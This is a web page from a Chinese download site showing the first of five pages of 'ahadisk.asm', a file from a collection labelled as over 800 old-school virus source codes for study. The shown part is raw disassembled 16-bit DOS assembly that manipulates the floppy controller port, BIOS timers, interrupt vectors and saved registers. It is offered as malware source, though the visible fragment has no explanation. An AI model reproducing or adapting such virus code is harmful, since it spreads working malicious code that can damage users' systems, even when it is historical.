⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ahadisk.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
		test	al,40h			; '@'
		jz	loc_87			; Jump if zero
loc_86:
		mov	data_62,3
		jmp	loc_125
loc_87:
		mov	byte ptr ds:[230h],0
loc_88:
		mov	data_82,161Fh
loc_89:
		jmp	data_84
		call	sub_78
		mov	data_68,28E9h
		mov	ax,word ptr data_60
		mov	data_67,ax
		mov	data_69,42h		; 'B'
		mov	data_70,0E6h
		mov	data_85,27F1h
		call	sub_75
		test	data_73,0C0h
		jz	loc_95			; Jump if zero
		test	data_74,20h		; ' '
		jz	loc_90			; Jump if zero
		cmp	data_94,2
		je	loc_93			; Jump if equal
		inc	data_94
		jmp	short loc_91
		db	90h
loc_90:
		mov	data_94,0
loc_91:
		call	sub_65
		test	data_73,0C0h
		jz	loc_92			; Jump if zero
		jmp	loc_123
loc_92:
		mov	data_84,1623h
		jmp	short loc_88
loc_93:
		mov	data_94,0
		cmp	data_65,0
		jne	loc_94			; Jump if not equal
		jmp	loc_105
loc_94:
		call	sub_51
loc_95:
		cmp	data_64,0
		jne	loc_97			; Jump if not equal
		mov	data_64,1
loc_96:
		jmp	short loc_89
loc_97:
		call	sub_9
		mov	data_82,161Fh
		mov	data_64,0
		inc	data_65
		inc	data_63
		cmp	data_31,0
		jne	loc_98			; Jump if not equal
		inc	data_63
loc_98:
		call	sub_46
		cmp	data_63,50h		; 'P'
		jge	loc_99			; Jump if > or =
		call	sub_63
		test	data_73,0C0h
		jz	loc_96			; Jump if zero
		call	sub_65
		test	data_73,0C0h
		jz	loc_96			; Jump if zero
		jmp	short loc_100
		db	90h
loc_99:
		mov	data_65,0
		mov	data_63,0
		mov	data_66,1
		mov	data_64,0
		mov	data_59,0
		call	sub_63
		test	data_73,0C0h
		jz	loc_101			; Jump if zero
		call	sub_65
		test	data_73,0C0h
		jz	loc_101			; Jump if zero
loc_100:
		mov	data_62,40h		; '@'
		jmp	loc_125
loc_101:
		mov	data_82,1712h
		call	sub_78
		cmp	data_64,1
		je	loc_102			; Jump if equal
		mov	data_64,1
		jmp	short loc_101
loc_102:
		call	sub_52
		mov	ds,data_25
		mov	ax,word ptr ds:timer_low_+1
		push	cs
		pop	ds
		mov	word ptr ds:[243Dh],ax
loc_103:
		mov	data_82,1738h
		mov	data_64,0
		mov	data_68,2416h
		mov	data_67,1FFh
		mov	data_69,4Ah		; 'J'
		mov	data_70,0C5h
		mov	data_85,27F1h
		call	sub_75
		test	data_73,0C0h
		jz	loc_106			; Jump if zero
		test	data_74,2
		jz	loc_104			; Jump if zero
		jmp	loc_86
loc_104:
		cmp	data_94,0
		jne	loc_105			; Jump if not equal
		inc	data_94
		call	sub_65
		test	data_73,0C0h
		jz	loc_103			; Jump if zero
		jmp	loc_123
loc_105:
		mov	data_62,20h		; ' '
		jmp	loc_125
loc_106:
		call	sub_53
		mov	byte ptr ds:[21Ah],2
		mov	al,byte ptr ds:[242Bh]
		mov	data_214,al
		mov	data_215,0FFFFh
		mov	word ptr ds:[223h],0
		mov	word ptr ds:[21Fh],0
		mov	word ptr ds:[212h],139h
loc_107:
		mov	cx,80h
		mov	si,word ptr ds:[212h]
loc_108:
		mov	word ptr ds:[218h],cx
		mov	word ptr ds:[214h],si
		call	sub_55
		sub	ax,word ptr ds:[21Fh]
		test	cx,[si]
		jz	loc_113			; Jump if zero
		cmp	ax,200h
		jl	loc_109			; Jump if <
		mov	word ptr ds:[21Bh],ax
		call	sub_49
		call	sub_53
		call	sub_50
		mov	ax,word ptr ds:[21Bh]
		sub	ax,200h
loc_109:
		mov	di,offset data_214
		add	di,ax
		mov	al,data_56
		cbw				; Convrt byte to word
		cmp	al,9
		jne	loc_110			; Jump if not equal
		clc				; Clear carry flag
		rcr	ax,1			; Rotate thru carry
		adc	ax,0
loc_110:
		mov	cx,ax
		mov	si,word ptr ds:[229h]
loc_111:
		mov	bx,225h
		mov	ax,[bx+si]
		mov	bx,[di]
		or	ax,bx
		cld				; Clear direction
		stosw				; Store ax to es:[di]
		xor	si,2
		nop				;*ASM fixup - sign extn byte
		jz	loc_112			; Jump if zero
		dec	di
loc_112:
		dec	cx
		jnz	loc_111			; Jump if not zero
		mov	word ptr ds:[21Dh],di
		jmp	short loc_114
		db	90h
loc_113:
		cmp	ax,200h
		jl	loc_114			; Jump if <
		call	sub_49
		call	sub_53
		call	sub_50
loc_114:
		mov	word ptr ds:[21Bh],ax
		mov	al,data_56
		cbw				; Convrt byte to word
		add	word ptr ds:[223h],ax
		mov	ax,word ptr ds:[21Bh]
		mov	cx,word ptr ds:[218h]
		mov	si,word ptr ds:[214h]
		shr	cx,1			; Shift w/zeros fill
		jz	loc_115			; Jump if zero
		jmp	loc_108
loc_115:
		inc	word ptr ds:[212h]
		mov	ax,word ptr ds:[212h]
		cmp	ax,word ptr ds:[216h]
		je	loc_116			; Jump if equal
		jmp	loc_107
loc_116:
		call	sub_49
		call	sub_54
		mov	di,data_100
		mov	ax,word ptr ds:[243Fh]
		xchg	ah,al
		cld				; Clear direction
		stosw				; Store ax to es:[di]
		mov	ax,word ptr ds:[243Dh]
		xchg	ah,al
		stosw				; Store ax to es:[di]
		mov	ax,word ptr data_98
		stosw				; Store ax to es:[di]
		mov	data_100,di
		inc	data_95
		inc	data_99
		call	sub_12
		mov	al,data_96
		cmp	data_95,al
		je	loc_119			; Jump if equal
loc_117:
		mov	byte ptr ds:[230h],1
		mov	ds,data_25
		mov	byte ptr ds:dsk_motor_tmr_,2
		push	cs
		pop	ds
		mov	data_92,3AAh
		call	sub_45
		mov	cx,88h

locloop_118:
		call	sub_7
		call	sub_9
		mov	cx,word ptr ds:[22Bh]
		mov	data_82,1596h
		loop	locloop_118		; Loop if cx > 0

		jmp	loc_79
loc_119:
		mov	data_92,3C2h
		call	sub_45
		mov	data_107,2
		mov	data_110,0Ch
loc_120:
		mov	data_81,130Dh
		mov	byte ptr ds:[230h],0
		call	sub_8
loc_121:
		and	byte ptr ds:[22Eh],0
		mov	sp,2B84h
		mov	ax,202h
		push	ax
		push	cs
		mov	ax,data_81
		push	ax
		mov	word ptr cs:[1DCh],sp
loc_122:
		mov	ss,word ptr ds:[20Eh]
		mov	sp,word ptr ds:[208h]
		mov	es,word ptr ds:[210h]
		mov	bp,word ptr ds:[20Ah]
		mov	si,word ptr ds:[204h]
		mov	di,word ptr ds:[206h]
		mov	ax,word ptr ds:[1FCh]
		mov	bx,word ptr ds:[1FEh]
		mov	cx,word ptr ds:[200h]
		mov	dx,word ptr ds:[202h]
		mov	ds,word ptr ds:[20Ch]
		iret				; Interrupt return
loc_123:
		mov	byte ptr ds:[22Fh],0
		mov	dx,3F2h
		mov	al,8
		out	dx,al			; port 3F2h, dsk0 contrl output
		cmp	byte ptr ds:[230h],0
		je	loc_124			; Jump if equal
		jmp	loc_117
loc_124:
		mov	data_62,80h
loc_125:
		mov	data_92,3B6h
		call	sub_45
		call	sub_12
		mov	byte ptr ds:[22Dh],6
		call	sub_7
		call	sub_12
		call	sub_8
		mov	data_81,195Dh
		jmp	short loc_121
sub_6		endp

loc_126:
		and	byte ptr cs:[22Eh],7Fh
		call	sub_28
		jnc	loc_128			; Jump if carry=0
		clc				; Clear carry flag
		call	sub_11
		test	byte ptr ds:[22Eh],20h	; ' '
		jnz	loc_127			; Jump if not zero
		jmp	loc_121
loc_127:
		jmp	loc_120
loc_128:
		call	sub_22
		call	sub_23
		call	sub_56
		call	sub_20
		cmp	data_62,80h
		je	loc_129			; Jump if equal
		cmp	data_62,3
		je	loc_132			; Jump if equal
		cmp	data_62,40h		; '@'
		je	loc_131			; Jump if equal
		cmp	data_62,20h		; ' '
		je	loc_130			; Jump if equal
		mov	dh,0Ah
		mov	dl,1Eh
		mov	si,441h
		call	sub_14
		jmp	short loc_133
		db	90h
loc_129:
		mov	dh,0Ah
		mov	dl,20h			; ' '
		mov	si,3DAh
		call	sub_14
		jmp	short loc_133
		db	90h
loc_130:
		mov	dh,0Ah
		mov	dl,18h
		mov	si,420h
		call	sub_14
		jmp	short loc_133
		db	90h
loc_131:
		mov	dh,0Ah
		mov	dl,22h			; '"'
		mov	si,402h
		call	sub_14
		jmp	short loc_133
		db	90h
loc_132:
		mov	dh,0Ah
		mov	dl,1Dh
		mov	si,3EBh
		call	sub_14
loc_133:
		mov	dh,0Eh
		mov	dl,20h			; ' '
		mov	data_62,0
		mov	si,40Fh
		call	sub_14
		call	sub_13
loc_134:
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		cmp	al,1Bh
		je	loc_135			; Jump if equal
		and	al,0DFh
		cmp	al,52h			; 'R'
		je	loc_136			; Jump if equal
		cmp	al,41h			; 'A'
		je	loc_135			; Jump if equal
		call	sub_11
		jmp	short loc_134
loc_135:
		call	sub_24
		mov	data_107,0
		mov	data_110,6
		jmp	loc_120
loc_136:
		call	sub_24
		cli				; Disable interrupts
		mov	byte ptr ds:[22Eh],0C0h
		call	sub_7
		call	sub_65
		mov	cx,5
		jmp	data_82
loc_137:
		call	sub_19
		mov	dh,0Dh
		mov	dl,15h
		mov	si,457h
		call	sub_14
		call	sub_13
loc_138:
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		cmp	al,1Bh
		je	loc_144			; Jump if equal
		cmp	al,0Dh
		je	loc_139			; Jump if equal
		call	sub_11
		jmp	short loc_138
loc_139:
		call	sub_19
		mov	dh,0Dh
		mov	dl,21h			; '!'
		mov	si,47Fh
		call	sub_14
		call	sub_13
		mov	bp,0A2Bh
loc_140:
		mov	ah,2
		xor	dx,dx			; Zero register
		int	17h			; Printer  dx=prn1, ah=func 02h
						;  read status, ah=return status
		test	ah,10h
		jz	loc_143			; Jump if zero
		mov	al,[bp]
		cmp	al,0
		je	loc_144			; Jump if equal
		xor	ah,ah			; Zero register
		xor	dx,dx			; Zero register
		int	17h			; Printer  dx=prn1, ah=func 00h
						;  print char al, get status ah
		test	ah,29h			; ')'
		jnz	loc_141			; Jump if not zero
		inc	bp
		jmp	short loc_140
loc_141:
		call	sub_19
		mov	dh,0Ch
		mov	dl,23h			; '#'
		mov	si,48Dh
loc_142:
		call	sub_14
		mov	data_82,1A2Eh
		jmp	loc_74
loc_143:
		call	sub_19
		mov	dh,0Ch
		mov	dl,1Eh
		mov	si,499h
		jmp	short loc_142
loc_144:
		jmp	loc_41
loc_145:
		cmp	data_95,0
		jne	loc_147			; Jump if not equal
		call	sub_19
		mov	dh,0Dh
		mov	dl,20h			; ' '
		mov	si,38Dh
		call	sub_14
loc_146:
		mov	dh,0Fh
		mov	dl,16h
		mov	si,368h
		call	sub_14
		call	sub_13
		jmp	short loc_148
		db	90h
loc_147:
		mov	ax,838h
		mov	cs:data_93,ax
		call	sub_21
		call	sub_31
loc_148:
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		mov	data_107,5
		mov	data_110,15h
		jmp	loc_41
loc_149:
		cmp	data_187,6666h
		je	loc_150			; Jump if equal
		mov	data_187,6666h
		jmp	loc_41
loc_150:
		mov	data_187,206Eh
		jmp	loc_41
loc_151:
		mov	ax,11E0h
		mov	di,20h			; (' ')
		call	sub_30
		jc	loc_152			; Jump if carry Set
		mov	ax,12E6h
		mov	di,offset data_42
		call	sub_30
		jc	loc_152			; Jump if carry Set
		mov	ax,12CCh
		mov	di,offset data_38
		call	sub_30
		jc	loc_152			; Jump if carry Set
		mov	ax,127Ah
		mov	di,24h			; (' ')
		call	sub_30
		jnc	loc_153			; Jump if carry=0
loc_152:
		clc				; Clear carry flag
		call	sub_19
		mov	dh,0Ch
		mov	dl,8
		mov	si,327h
		call	sub_14
		jmp	loc_146
loc_153:
		xor	ax,ax			; Zero register
		mov	word ptr data_24,ax
		mov	si,offset 195h
		mov	di,20h			; (' ')
		call	sub_29
		mov	si,offset 199h
		mov	di,24h			; (' ')
		call	sub_29
		mov	si,offset 19Dh
		mov	di,offset data_38
		call	sub_29
		mov	si,offset 1A1h
		mov	di,offset data_42
		call	sub_29
		mov	es,data_26
		mov	di,data_2e
		xor	ax,ax			; Zero register
		stosw				; Store ax to es:[di]
		mov	es,data_27
		mov	di,data_2e
		xor	ax,ax			; Zero register
		stosw				; Store ax to es:[di]
		push	cs
		pop	es
		call	sub_24
		call	sub_7
loc_154:
		mov	data_107,0
		mov	data_110,6
		call	sub_24
		jmp	loc_121

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_7		proc	near
		add	byte ptr ds:[22Dh],1
		cli				; Disable interrupts
		mov	word ptr ds:[1D0h],ax
		pop	ax
		pushf				; Push flags
		push	cs
		push	ax
		mov	word ptr ds:[1DCh],sp
		mov	word ptr ds:[1D2h],bx
		mov	word ptr ds:[1DAh],ss
		mov	word ptr ds:[1E2h],ds
		mov	word ptr ds:[1E4h],es
		mov	word ptr ds:[1E0h],bp
		mov	word ptr ds:[1D8h],si
		mov	word ptr ds:[1DEh],di

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -